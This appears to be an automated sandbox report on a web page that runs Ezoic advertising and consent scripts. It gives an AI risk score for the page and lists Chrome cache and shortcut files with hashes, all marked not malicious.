function _setEzCookies(ezConsentData){var cookies=[{name:"ezoab_592107",value:"mod87; Path=/; Domain=trythisonce.com; Max-Age=7200",tcfCategory:"store_info",isEzoic:"true",},{name:"ezosuibasgeneris-1",value:"0493f92b-0a6a-49af-5d2c-0cbea9ab88ea; Path=/; Domain=trythisonce.com; Expires=Wed, 10 Dec 2025 14:01:48 UTC; Secure; SameSite=None",tcfCategory:"understand_audiences",isEzoic:"true",}];for(var i=0;i<cookies.length;i++){var cookie=cookies[i];if(ezConsentData&&ezConsentData.loaded&&ezConsentData[cookie.tcfCategory]){document.cookie=cookie.name+"="+cookie.value;}}} if(window.ezTcfConsent&&window.ezTcfConsent.loaded){_setEzCookies(window.ezTcfConsent);}else if(typeof getEzConsentData==="function"){getEzConsentData().then(function(ezTcfConsent){if(ezTcfConsent&&ezTcfConsent.loaded){_setEzCookies(window.ezTcfConsent);}else{console.error("cannot get ez consent data");_setEzCookies(window.ezTcfConsent);}});}else{console.error("getEzConsentData is not a function");_setEzCookies(window.ezTcfConsent);}
URL: https://trythisonce.com/video5.html... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The script includes error reporting to a third-party domain (g.ezoic.net) and uses aggressive DOM manipulation techniques. However, it does not exhibit high-risk behaviors such as dynamic code execution or data exfiltration. The script appears to be part of a legitimate service (ezoic.net), which may reduce the risk score, but the aggressive nature of the script warrants a medium risk score." }
var __ez=__ez\|\|{};__ez.stms=Date.now();__ez.evt={};__ez.script={};__ez.ck=__ez.ck\|\|{};__ez.template={};__ez.template.isOrig=true;window.__ezScriptHost="//www.ezojs.com";__ez.queue=function(){var e=0,i=0,t=[],n=!1,o=[],r=[],s=!0,a=function(e,i,n,o,r,s,a){var l=arguments.length>7&&void 0!==arguments[7]?arguments[7]:window,d=this;this.name=e,this.funcName=i,this.parameters=null===n?null:w(n)?n:[n],this.isBlock=o,this.blockedBy=r,this.deleteWhenComplete=s,this.isError=!1,this.isComplete=!1,this.isInitialized=!1,this.proceedIfError=a,this.fWindow=l,this.isTimeDelay=!1,this.process=function(){u("... func = "+e),d.isInitialized=!0,d.isComplete=!0,u("... func.apply: "+e);var i=d.funcName.split("."),n=null,o=this.fWindow\|\|window;i.length>3\|\|(n=3===i.length?o[i[0]][i[1]][i[2]]:2===i.length?o[i[0]][i[1]]:o[d.funcName]),null!=n&&n.apply(null,this.parameters),!0===d.deleteWhenComplete&&delete t[e],!0===d.isBlock&&(u("----- F'D: "+d.name),m())}},l=function(e,i,t,n,o,r,s){var a=arguments.length>7&&void 0!==arguments[7]?arguments[7]:window,l=this;this.name=e,this.path=i,this.async=o,this.defer=r,this.isBlock=t,this.blockedBy=n,this.isInitialized=!1,this.isError=!1,this.isComplete=!1,this.proceedIfError=s,this.fWindow=a,this.isTimeDelay=!1,this.isPath=function(e){return"/"===e[0]&&"/"!==e[1]},this.getSrc=function(e){return void 0!==window.__ezScriptHost&&this.isPath(e)&&"banger.js"!==this.name?window.__ezScriptHost+e:e},this.process=function(){l.isInitialized=!0,u("... file = "+e);var i=this.fWindow?this.fWindow.document:document,t=i.createElement("script");t.src=this.getSrc(this.path),!0===o?t.async=!0:!0===r&&(t.defer=!0),t.onerror=function(){var e={url:window.location.href,name:l.name,path:l.path,user_agent:window.navigator.userAgent};"undefined"!=typeof _ezaq&&(e.pageview_id=_ezaq.page_view_id);var i=encodeURIComponent(JSON.stringify(e)),t=new XMLHttpRequest;t.open("GET","//g.ezoic.net/ezqlog?d="+i,!0),t.send(),u("----- ERR'D: "+l.name),l.isError=!0,!0===l.isBlock&&m()},t.onreadystatechange=t.onload=function(){var e=t.readyState;u("----- F'D: "+l.name),e&&!/loaded\|complete/.test(e)\|\|(l.isComplete=!0,!0===l.isBlock&&m())},i.getElementsByTagName("head")[0].appendChild(t)}},d=function(e,i){this.name=e,this.path="",this.async=!1,this.defer=!1,this.isBlock=!1,this.blockedBy=[],this.isInitialized=!0,this.isError=!1,this.isComplete=i,this.proceedIfError=!1,this.isTimeDelay=!1,this.process=function(){}};function c(e,i,n,s,a,d,c,f,u){var m=new l(e,i,n,s,a,d,c,u);!0===f?o[e]=m:r[e]=m,t[e]=m,h(m)}function h(e){!0!==f(e)&&0!=s&&e.process()}function f(e){if(!0===e.isTimeDelay&&!1===n)return u(e.name+" blocked = TIME DELAY!"),!0;if(w(e.blockedBy))for(var i=0;i<e.blockedBy.length;i++){var o=e.blockedBy[i];if(!1===t.hasOwnProperty(o))return u(e.name+" blocked = "+o),!0;if(!0===e.proceedIfError&&!0===t[o].isError)return!1;if(!1===t[o].isComplete)return u(e.name+" blocked = "+o),!0}return!1}function u(e){var i=window.location.href,t=new RegExp("[?&]ezq=([^&#]*)","i").exec(i);"1"===(t?t[1]:null)&&console.debug(e)}function m(){++e>200\|\|(u("let's go"),p(o),p(r))}function p(e){for(var i in e)if(!1!==e.hasOwnProperty(i)){var t=e[i];!0===t.isComplete\|\|f(t)\|\|!0===t.isInitialized\|\|!0===t.isError?!0===t.isError?u(t.name+": error"):!0===t.isComplete?u(t.name+": complete already"):!0===t.isInitialized&&u(t.name+": initialized already"):t.process()}}function w(e){return"[object Array]"==Object.prototype.toString.call(e)}return window.addEventListener("load",(function(){setTimeout((function(){n=!0,u("TDELAY -----"),m()}),5e3)}),!1),{addFile:c,addFileOnce:function(e,i,n,o,r,s,a,l,d){t[e]\|\|c(e,i,n,o,r,s,a,l,d)},addDelayFile:function(e,i){var n=new l(e,i,!1,[],!1,!1,!0);n.isTimeDelay=!0,u(e+" ... FILE! TDELAY"),r[e]=n,t[e]=n,h(n)},addFunc:function(e,n,s,l,d,c,f,u,m,p){!0===c&&(e=e+"_"+i++);var w=new a(e,n,s,l,d,f,u,p);!0===m?o[e]=w:r[e]=w,t[e]=w,h(w)},addDelayFunc:function(e,i,n){var o=new a(e,i,n,!1,[],!0,!0);o.isTimeDelay=!0,u(e+" ... FUNCTION! TDELAY"),r[e]=o,t[e]=o,h(o)}
URL: https://trythisonce.com/video5.html... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The script primarily handles consent management and ad reloading, with no high-risk behaviors like dynamic code execution or data exfiltration. It uses cookies and interacts with consent APIs, which are typical for consent management. The domain 'trythisonce.com' is not flagged as suspicious, and the script's behavior aligns with consent management, which is a legitimate context." }
function _emitEzConsentEvent(){var customEvent=new CustomEvent("ezConsentEvent",{detail:{ezTcfConsent:window.ezTcfConsent},bubbles:true,cancelable:true,});document.dispatchEvent(customEvent);} (function(window,document){function _setAllEzConsentTrue(){window.ezTcfConsent.loaded=true;window.ezTcfConsent.store_info=true;window.ezTcfConsent.develop_and_improve_services=true;window.ezTcfConsent.measure_ad_performance=true;window.ezTcfConsent.measure_content_performance=true;window.ezTcfConsent.select_basic_ads=true;window.ezTcfConsent.create_ad_profile=true;window.ezTcfConsent.select_personalized_ads=true;window.ezTcfConsent.create_content_profile=true;window.ezTcfConsent.select_personalized_content=true;window.ezTcfConsent.understand_audiences=true;window.ezTcfConsent.use_limited_data_to_select_content=true;window.ezTcfConsent.select_personalized_content=true;} function _clearEzConsentCookie(){document.cookie="ezCMPCookieConsent=tcf2;Domain=.trythisonce.com;Path=/;expires=Thu, 01 Jan 1970 00:00:00 GMT";} _clearEzConsentCookie();if(typeof window.__tcfapi!=="undefined"){window.ezgconsent=false;var amazonHasRun=false;function _ezAllowed(tcdata,purpose){return(tcdata.purpose.consents[purpose]\|\|tcdata.purpose.legitimateInterests[purpose]);} function _reloadAds(){if(typeof window.ezorefgsl==="function"&&typeof window.ezslots==="object"){if(typeof __ezapsFetchBids=="function"&&amazonHasRun===false){ezapsFetchBids(__ezaps);if(typeof __ezapsVideo!="undefined"){ezapsFetchBids(__ezapsVideo,"video");} amazonHasRun=true;} var slots=[];for(var i=0;i<window.ezslots.length;i++){if(window[window.ezslots[i]]&&typeof window[window.ezslots[i]]==="object"){slots.push(window[window.ezslots[i]]);}else{setTimeout(_reloadAds,100);return false;}} for(var i=0;i<slots.length;i++){window.ezorefgsl(slots[i]);}}else if(!window.ezadtimeoutset){window.ezadtimeoutset=true;setTimeout(_reloadAds,100);}} function _handleConsentDecision(tcdata){window.ezTcfConsent.loaded=true;if(!tcdata.vendor.consents["347"]&&!tcdata.vendor.legitimateInterests["347"]){window._emitEzConsentEvent();return;} window.ezTcfConsent.store_info=_ezAllowed(tcdata,"1");window.ezTcfConsent.develop_and_improve_services=_ezAllowed(tcdata,"10");window.ezTcfConsent.measure_content_performance=_ezAllowed(tcdata,"8");window.ezTcfConsent.select_basic_ads=_ezAllowed(tcdata,"2");window.ezTcfConsent.create_ad_profile=_ezAllowed(tcdata,"3");window.ezTcfConsent.select_personalized_ads=_ezAllowed(tcdata,"4");window.ezTcfConsent.create_content_profile=_ezAllowed(tcdata,"5");window.ezTcfConsent.measure_ad_performance=_ezAllowed(tcdata,"7");window.ezTcfConsent.use_limited_data_to_select_content=_ezAllowed(tcdata,"11");window.ezTcfConsent.select_personalized_content=_ezAllowed(tcdata,"6");window.ezTcfConsent.understand_audiences=_ezAllowed(tcdata,"9");window._emitEzConsentEvent();} function _handleGoogleConsentV2(tcdata){if(!tcdata\|\|!tcdata.purpose\|\|!tcdata.purpose.consents){return;} var googConsentV2={};if(tcdata.purpose.consents[1]){googConsentV2.ad_storage='granted';googConsentV2.analytics_storage='granted';} if(tcdata.purpose.consents[3]&&tcdata.purpose.consents[4]){googConsentV2.ad_personalization='granted';} if(tcdata.purpose.consents[1]&&tcdata.purpose.consents[7]){googConsentV2.ad_user_data='granted';} if(googConsentV2.analytics_storage=='denied'){gtag('set','url_passthrough',true);} gtag('consent','update',googConsentV2);} __tcfapi("addEventListener",2,function(tcdata,success){if(!success\|\|!tcdata){window._emitEzConsentEvent();return;} if(!tcdata.gdprApplies){_setAllEzConsentTrue();window._emitEzConsentEvent();return;} if(tcdata.eventStatus==="useractioncomplete"\|\|tcdata.eventStatus==="tcloaded"){if(typeof gtag!='undefined'){_handleGoogleConsentV2(tcdata);} _handleConsentDecision(tcdata);if(tcdata.purpose.consents["1"]===true&&tcdata.vendor.consents["755"]!==false){window.ezgconsent=true;(adsbygoogle=window.adsbygoogle\|\|[]).pauseAdRequests=0;_reloadAds();}else{_reloadAds();} if(window.__ezconsent){__ezcons

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 13:01:46 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.985239272680662
Encrypted:	false
SSDEEP:
MD5:	0303F64FBE84FCF36ED4CB2BB358BAD8
SHA1:	F40EEB6C938ADBCC8AD682C1D3F3C292DF19B190
SHA-256:	4D14A76CE83D8EFACAE6C9F03B94C698FEFF9A5E4C039358D1DE63C05A6570E0
SHA-512:	8CD1C204E1AE03CB201E07A803BE60D2CD2DE162D4E421E8509552E8AE3A6FAAE0743650BA987F1E08DF7325078554CF89EEEBF0D4A88BF2FB9C27C98E43EACE
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,........K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Yp....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y6p....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y6p....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y6p...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y8p...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........BAs......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 13:01:46 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9970766739645223
Encrypted:	false
SSDEEP:
MD5:	53304DB113F993EA892BB3E5B218B5AF
SHA1:	B939E16801B7C1924CF70415001082AB45932EFA
SHA-256:	B02403574C8F72FB8E64274E3016448611EDB0354159D4026569E6DB9A320B62
SHA-512:	9B142564EFB3AA15FE7E4F3BEBC5CB2A89CE527E99927EE7B93DC9503050767FFC1FFE84A53DDAF4AD886009EBB1D44D217619776A59906C8809583796B31A6E
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,........K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Yp....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y6p....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y6p....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y6p...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y8p...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........BAs......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 13:01:46 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9995412604296
Encrypted:	false
SSDEEP:
MD5:	EEFA3126DB432FDBADEA887C81FFD27E
SHA1:	887FAC14FA806CA867CFA184D97F83A1350BA148
SHA-256:	4ACE31EF5194DAE8FFD6A29EF62FB2EAF01BB3136663E882C8AABADBF24A3795
SHA-512:	94135E98BA3A52AAFD61C34867247F01D22249F1EF288FD79236E92B34F3A89949E5E8F336D1D7B26D29097A05F6BF84DB9199CE212176E75B26F189ED0F140B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.........K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Yp....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y6p....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y6p....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y6p...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y8p...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........BAs......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 13:01:46 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9901482382715137
Encrypted:	false
SSDEEP:
MD5:	B8CE64FC7303022008123B933C195693
SHA1:	F2D6F20A04B5D04BF6906C9672D855D0F53378FA
SHA-256:	C8568EDC4EE468F6FB21BC609C279EE8CC254B62E86B5B180DEA427082EFCB7E
SHA-512:	0A42173CCAE58EC2529A2C90C6ABBB916207DAC06B17A5B9F30EF6EDF62B62D04C47BD8A2BD7BD19CC903EC9596908099838D157979689D4ADD231582B980B84
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.........K......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Yp....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y6p....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y6p....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y6p...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y8p...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........BAs......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10664)
Category:	downloaded
Size (bytes):	11393
Entropy (8bit):	5.184653672463061
Encrypted:	false
SSDEEP:
MD5:	FA12B63676FD2365D4DE67F62ABB0EE8
SHA1:	D30006D099AF19A150F792B701D911F06EFF27B2
SHA-256:	6FCA1361D81B8D8D05AFBE947E257AEF026891372B45E0D2DE123A907A4ED1AF
SHA-512:	5E0E6FBBAE0C06B752B6462F5E0537B711F761F3A4E279138A174F98D5380CC0939C03E6B636E47AF114F3B12520E4F54B2E0F22F2D1B0D09056138B3E14424E
Malicious:	false
Reputation:	unknown
URL:	https://www.ezojs.com/tardisrocinante/vitals.js?gcb=0&cb=5
Preview:	try { !function(e,t){t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).webVitals={})}(this,(function(e){"use strict";var t,n,r,i,a,o=function(){return window.performance&&performance.getEntriesByType&&performance.getEntriesByType("navigation")[0]},u=function(e){if("loading"===document.readyState)return"loading";var t=o();if(t){if(e<t.domInteractive)return"loading";if(0===t.domContentLoadedEventStart\|\|e<t.domContentLoadedEventStart)return"dom-interactive";if(0===t.domComplete\|\|e<t.domComplete)return"dom-content-loaded"}return"complete"},c=function(e){var t=e.nodeName;return 1===e.nodeType?t.toLowerCase():t.toUpperCase().replace(/^#/,"")},s=function(e,t){var n="";try{for(;e&&9!==e.nodeType;){var r=e,i=r.id?"#"+r.id:c(r)+(r.classList&&r.classList.value&&r.classList.value.trim()&&r.classList.value.trim().length?"."+r.classList.value.trim().replace(/\s+/g,"."):"");if(n.length+i.length>(t\|\|100)-1)return n\|\|i;if(n=n?i+">"+n:i,r.id)break;e=r.parentNode}}catch(e){}return n},f=-1,d=functio

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1416), with no line terminators
Category:	downloaded
Size (bytes):	1416
Entropy (8bit):	5.033077051944432
Encrypted:	false
SSDEEP:
MD5:	66C4EBDDB2FB396F47E5C05E94CAE7ED
SHA1:	6E4750338C0FF67C91F75565C02FFCA6715BADD0
SHA-256:	DCFEAFB915FB5E0EAF4CCE1E3ABF6EEACE381B5926E07261CBCEFFC30FA4E699
SHA-512:	545382769F44C9D2273CAD7C4AB52FAEB4024F810B4785C87826598B80C533071945CA9D467CEE36251700E0E9361AB99D21378BFE43123DFDEB184375199DDB
Malicious:	false
Reputation:	unknown
URL:	https://www.ezojs.com/detroitchicago/raleigh.js?gcb=195-0&cb=8
Preview:	try { __ez.aucep=new __ez.Pixel("/porpoiseant/army.gif"),__ez.aucep.setPixelBuilder((function(i,e){if(__ez.dot.isDefined(i)&&0!=__ez.dot.isAnyDefined(i.getSlotElementId,i.ElementId,i.AdUnitPath)){var _=parseInt(__ez.dot.getTargeting(i,"ap")),t=__ez.dot.getSlotIID(i),o=__ez.dot.getAdUnit(i),d=i.AdUnitPath.split("/")[1];if(__ez.dot.isDefined(t,o)&&__ez.dot.isValid(e)){var n={type:"auction",impression_id:t,domain_id:__ez.dot.getDID(),unit:o,t_epoch:__ez.dot.getEpoch(0),auction_epoch:e.t_epoch,ad_position:_,country_code:__ez.dot.getCC(),pageview_id:__ez.dot.getPageviewId(),bid_floor_initial:e.bid_floor_initial,bid_floor_prev:e.bid_floor_prev,bid_floor_filled:e.bid_floor_filled,auction_count:e.auction_count,refresh_ad_count:e.refresh_ad_count,auction_duration:e.auction_duration,multi_ad_unit:e.multi_ad_unit,multi_ad_count:e.multi_ad_count,is_rl:e.is_rl,network_code:parseInt(d),data:__ez.dot.dataToStr([new __ezDotData("","")])};return e.line_item_id&&(n.line_item_id=e.line_item_id),n}}})),__

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1021), with no line terminators
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	5.160326095639132
Encrypted:	false
SSDEEP:
MD5:	F9E3BF1B651B20295D1C8341A88945AF
SHA1:	6CFA156A63E43DB35391C3EF6618379BF10582AF
SHA-256:	14D43B59DD15C6E81B6F4C787F68D98D81A7BF0FBB7FBC4F6C1989E6D29A222E
SHA-512:	CFEC32D31CAF5D9221541F208CF14443F84EBBFD016805C01A596973240211FC9F501B8A1DAB1D40F41EE2DBBE888DCDE0FC05E18B50D8C14A21FC6ED142CC8C
Malicious:	false
Reputation:	unknown
Preview:	try { __ez.bit=new __ez.Pixel("/detroitchicago/greenoaks.gif"),__ez.bit.setPixelBuilder((function(i,e){if(__ez.dot.isDefined(i)&&__ez.dot.isValid(e)){var t="";return"undefined"!=typeof _ezaq&&_ezaq.hasOwnProperty("visit_uuid")&&(t=_ezaq.visit_uuid),{type:"pageview",visit_uuid:t,pageview_id:i,domain_id:__ez.dot.getDID(),t_epoch:__ez.dot.getEpoch(0),data:__ez.dot.dataToStr(e)}}})),__ez.bit.setFireConfig({urlParam:"ds",fireInterval:15e3,includeVisitParamFn:function(){return void 0!==window.ezWp&&ezWp&&"undefined"!=typeof _ezaq&&_ezaq.hasOwnProperty("visit_uuid")}}),__ez.bit.AddAndFire=function(){this.Add.apply(this,arguments),this.Fire()},void 0!==window.ez_bit_cmd&&Array.isArray(window.ez_bit_cmd)&&window.ez_bit_cmd.forEach((function(i){"function"==typeof i&&i()}));} catch(err) {var hREED = function(er) {return function() {reportEzError(er, "/parsonsmaize/mulvane.js")}}; typeof reportEzError==="function"?hREED(err):window.addEventListener('reportEzErrorDefined',hREED(err), {once: true});

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2577)
Category:	dropped
Size (bytes):	20078
Entropy (8bit):	5.2190698909041275
Encrypted:	false
SSDEEP:
MD5:	66DDBDB0F1754F835E8134C592770456
SHA1:	C363F8F95E9A18CF5834EB2A7D9DE7E215072B40
SHA-256:	8369349DBF17562F5C23DC2514CB9566A5F5DAB1CD10535B7313F358ED62A5CE
SHA-512:	9FF07141D244C6065EE812E8A43498C0198C22648EF0CC82693884E47D90B139453EE3719381161AC6E3C55AD94342BC627A1871B1295B51C33AB87D10A5117D
Malicious:	false
Reputation:	unknown
Preview:	try { function ez_attachEvent(element,evt,func){if(element.addEventListener){element.addEventListener(evt,func,false);}else{element.attachEvent("on"+evt,func);}}.function ez_attachEventWithCapture(element,evt,func,useCapture){if(element.addEventListener){element.addEventListener(evt,func,useCapture);}else{element.attachEvent("on"+evt,func);}}.function ez_detachEvent(element,evt,func){if(element.removeEventListener){element.removeEventListener(evt,func);}else{element.detachEvent("on"+evt,func);}}.function ez_getQueryString(field,url){var href=url?url:window.location.href;var reg=new RegExp('[?&]'+field+'=([^&#]*)','i');var string=reg.exec(href);return string?string[1]:null;}.(function(root,factory){if(typeof define==='function'&&define.amd){define('ezRiveted',[],factory);}else if(typeof module==='object'&&module.exports){module.exports=factory();}else{root.riveted=factory();}}(this,function(){var riveted=(function(){var started=false,stopped=false,turnedOff=false,clockTime=0,startTime=n

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2718)
Category:	dropped
Size (bytes):	2960
Entropy (8bit):	5.293614784919236
Encrypted:	false
SSDEEP:
MD5:	427499933F923F9EA1305BA6DFCCEA14
SHA1:	3EBF428D496A53AFF43E8CFEC7C5256C0306EBF5
SHA-256:	1DDF77F07598A4B2F2C79D120B08EA0F382A9C6D480898C71AE65F2F9DF62FEE
SHA-512:	366197B77AE2C5BA7E294EBED082A1796ABDAE6A65343DAC9D5744FDE22E3169D6F0D84546EEB9C133E26608CDD46057A3596AC450CE71FDFD560083E9B5285C
Malicious:	false
Reputation:	unknown
Preview:	try { window.__gpp_addFrame=function(n){if(!window.frames[n])if(document.body){var i=document.createElement("iframe");i.style.cssText="display:none",i.name=n,document.body.appendChild(i)}else window.setTimeout(window.__gpp_addFrame,10,n)};window.__gpp_stub=function(){var b=arguments;if(__gpp.queue=__gpp.queue\|\|[],__gpp.events=__gpp.events\|\|[],!b.length\|\|b.length==1&&b[0]=="queue")return __gpp.queue;if(b.length==1&&b[0]=="events")return __gpp.events;var cmd=b[0],clb=b.length>1?b[1]:null,par=b.length>2?b[2]:null;if(cmd==="ping"){if(clb!=null)clb({gppVersion:"1.1",cmpStatus:"stub",cmpDisplayStatus:"hidden",signalStatus:"not ready",supportedAPIs:["2:tcfeuv2","5:tcfcav1","6:uspv1","7:usnatv1","8:uscav1","9:usvav1","10:uscov1","11:usutv1","12:usctv1"],cmpId:0,sectionList:[],applicableSections:[],gppString:"",parsedSections:{}},!0)}else if(cmd==="addEventListener"){if(!("lastId"in __gpp))__gpp.lastId=0;__gpp.lastId++;var lnr=__gpp.lastId;__gpp.events.push({id:lnr,callback:clb,parameter:par}),

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1385), with no line terminators
Category:	dropped
Size (bytes):	1385
Entropy (8bit):	5.082486539894539
Encrypted:	false
SSDEEP:
MD5:	0A5B754034448AA7708A43320157DD77
SHA1:	8C1FD74351176B9C92894AC8CC904AFCB74F477B
SHA-256:	A285BC82F73DBD55244657449B4D9B2ECAE8B2EA622D5558432BC818BB847DF2
SHA-512:	FA04D849E7856660E42CB453DF4B1FA52D3EA127ECAA596E84659517914A11AAE5FA4C217726EB2826439A1D0C6AA82BBFD81568063C4C4B20DED27968B585D8
Malicious:	false
Reputation:	unknown
